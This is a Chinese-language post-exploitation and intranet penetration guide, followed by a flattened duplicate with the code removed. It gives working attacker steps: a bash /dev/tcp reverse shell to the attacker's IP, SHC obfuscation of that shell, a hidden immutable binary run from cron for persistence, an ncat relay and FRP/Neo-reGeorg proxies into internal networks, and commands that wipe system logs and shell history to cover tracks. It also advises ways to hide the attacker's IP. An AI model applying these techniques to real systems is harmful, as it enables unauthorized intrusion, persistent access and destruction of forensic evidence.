后渗透及内网初体验的总结
字数 1231 2025-08-27 12:33:37

后渗透及内网渗透技术指南

1. 绕过PHP的disable_functions限制

自动绕过方法

备选方案

  1. 检查Web程序数据库凭据,尝试数据库利用:
    • 写文件
    • 写日志
    • 数据库提权
  2. 检查服务器上的其他文件:
    • 其他站点文件
    • 可利用的其他资源
  3. 若目录访问受限,保留信息待后续利用

2. 隐藏攻击者IP

推荐方法

  • 使用CDN服务
  • 使用云函数转发

注意事项

  1. 目标机器能访问国外服务器:
    • 直接使用国外代理服务
  2. 目标机器不能访问国外服务器:
    • Cloudflare可能延迟较高
    • 国内云服务需要实名且费用较高
    • 若无合适方案,可不隐藏IP

3. 加密Bash反弹Shell

标准反弹Shell命令

目标机器执行:

bash -i >& /dev/tcp/攻击机IP/端口 0>&1

攻击机监听:

nc -lvvp 端口

使用SHC加密脚本

  1. 下载并编译SHC
  2. 加密脚本:
./shc -Uvrf reverse.sh -o reverse
  1. 上传生成的二进制文件到目标机器执行

Shell环境优化

  1. 优先反弹Shell而非正向连接(减少暴露风险)
  2. 无法反弹Shell的情况处理:
    • 命令被限制:尝试提权
    • 限制出网:尝试提权
    • 限制出站端口:批量测试常见端口

测试出网端口步骤

  1. 在VPS上配置Nginx监听多个端口
  2. 上传测试脚本到目标机器:
#!/bin/bash
for port in {端口列表}; do
    curl vps:$port
done
  1. 执行并保存结果:
./test_ports.sh > result.txt
  1. 分析结果,参考nmap常用端口:
nmap --top-ports 100
nmap --top-ports 1000

Shell升级为完全交互式

攻击机执行:

# 检查当前终端信息
echo $TERM
stty -a

# 升级Shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo
fg
export SHELL=bash
export TERM=xterm-256color
stty rows 行数 columns 列数

使用Screen管理Shell会话

  1. 创建Screen会话:
screen -S 会话名
  1. 挂起会话:
Ctrl+A, D
  1. 恢复会话:
screen -r 会话名
  1. 退出会话:
exit
  1. 其他命令:
screen -list  # 查看所有会话
kill -9 PID   # 终止会话
screen -d 会话名  # 挂起活动会话

4. 低权限提权

信息收集

  1. 收集系统信息:
cat /proc/version
cat /etc/*-release
  1. 在Google和Exploit Database搜索漏洞
  2. 检查补丁情况

提权方法

  1. 本地编译后上传(目标机器无法编译时)
  2. 手动查找漏洞优于自动化工具(更准确)

5. 权限维持

Cron计划任务

  1. 使用SHC加密的反弹Shell二进制文件
  2. 设置隐藏属性:
chmod +x 二进制文件
mv 二进制文件 .隐藏文件名
chattr +i 二进制文件  # 防止删除
  1. 放置到隐蔽目录

配置Cron

Root用户:

# 编辑/etc/crontab
SHELL=/bin/bash
PATH=默认路径:$PATH
MAILTO=""
* * * * * root /path/to/binary

非Root用户:

# 需要交互式Shell
crontab -e
SHELL=/bin/bash
PATH=默认路径:$PATH
MAILTO=""
* * * * * /path/to/binary

6. 内网渗透

信息收集

  • 使用nmap或fscan扫描内网
  • 推荐fscan(功能强大,使用简单)

代理搭建

FRP方案

  1. VPS运行FRP服务端
  2. 目标机器运行FRP客户端并启用SOCKS5插件
  3. 本地配置:
    • Windows: Proxifier
    • Linux: proxychains-ng/proxychains4

Neo-reGeorg方案

  • 上传PHP/JSP等脚本文件即可建立SOCKS5代理
  • 优点:
    • 无需执行额外命令
    • 无需后台运行程序

内网渗透方法

  • 类似Web渗透,关注内网常见应用漏洞
  • 利用fscan检测:
    • 未授权访问
    • 服务弱口令爆破(MySQL, SSH, Tomcat等)

7. 内网不出网反弹Shell

中转方法

在中转机器执行:

ncat -l 中转端口 -c 'ncat 攻击机IP 攻击机端口'

特点

  • 需要中转机器开放端口
  • 便于在VPS上管理不出网设备

8. 痕迹清理

日志清理

echo -n > /var/log/syslog
echo -n > /var/log/messages
echo -n > /var/log/httpd/access_log
echo -n > /var/log/httpd/error_log
echo -n > /var/log/xferlog
echo -n > /var/log/secure
echo -n > /var/log/auth.log
echo -n > /var/log/user.log
echo -n > /var/log/wtmp
echo -n > /var/log/lastlog
echo -n > /var/log/btmp
echo -n > /var/run/utmp

历史记录清理

history -r
history -c
echo > ~/.bash_history
HISTZISE=0

注意事项

  • 清理难以彻底完成
  • 隐藏攻击IP是最有效的保护措施
后渗透及内网渗透技术指南 1. 绕过PHP的disable_ functions限制 自动绕过方法 使用AntSword的官方绕过插件进行全自动绕过 手动绕过参考: AntSword-Labs bypass_ disable_ functions 备选方案 检查Web程序数据库凭据,尝试数据库利用: 写文件 写日志 数据库提权 检查服务器上的其他文件: 其他站点文件 可利用的其他资源 若目录访问受限,保留信息待后续利用 2. 隐藏攻击者IP 推荐方法 使用CDN服务 使用云函数转发 注意事项 目标机器能访问国外服务器: 直接使用国外代理服务 目标机器不能访问国外服务器: Cloudflare可能延迟较高 国内云服务需要实名且费用较高 若无合适方案,可不隐藏IP 3. 加密Bash反弹Shell 标准反弹Shell命令 目标机器执行: 攻击机监听: 使用SHC加密脚本 下载并编译 SHC 加密脚本: 上传生成的二进制文件到目标机器执行 Shell环境优化 优先反弹Shell而非正向连接(减少暴露风险) 无法反弹Shell的情况处理: 命令被限制:尝试提权 限制出网:尝试提权 限制出站端口:批量测试常见端口 测试出网端口步骤 在VPS上配置Nginx监听多个端口 上传测试脚本到目标机器: 执行并保存结果: 分析结果,参考nmap常用端口: Shell升级为完全交互式 攻击机执行: 使用Screen管理Shell会话 创建Screen会话: 挂起会话: 恢复会话: 退出会话: 其他命令: 4. 低权限提权 信息收集 收集系统信息: 在Google和Exploit Database搜索漏洞 检查补丁情况 提权方法 本地编译后上传(目标机器无法编译时) 手动查找漏洞优于自动化工具(更准确) 5. 权限维持 Cron计划任务 使用SHC加密的反弹Shell二进制文件 设置隐藏属性: 放置到隐蔽目录 配置Cron Root用户: 非Root用户: 6. 内网渗透 信息收集 使用nmap或fscan扫描内网 推荐fscan(功能强大,使用简单) 代理搭建 FRP方案 VPS运行FRP服务端 目标机器运行FRP客户端并启用SOCKS5插件 本地配置: Windows: Proxifier Linux: proxychains-ng/proxychains4 Neo-reGeorg方案 上传PHP/JSP等脚本文件即可建立SOCKS5代理 优点: 无需执行额外命令 无需后台运行程序 内网渗透方法 类似Web渗透,关注内网常见应用漏洞 利用fscan检测: 未授权访问 服务弱口令爆破(MySQL, SSH, Tomcat等) 7. 内网不出网反弹Shell 中转方法 在中转机器执行: 特点 需要中转机器开放端口 便于在VPS上管理不出网设备 8. 痕迹清理 日志清理 历史记录清理 注意事项 清理难以彻底完成 隐藏攻击IP是最有效的保护措施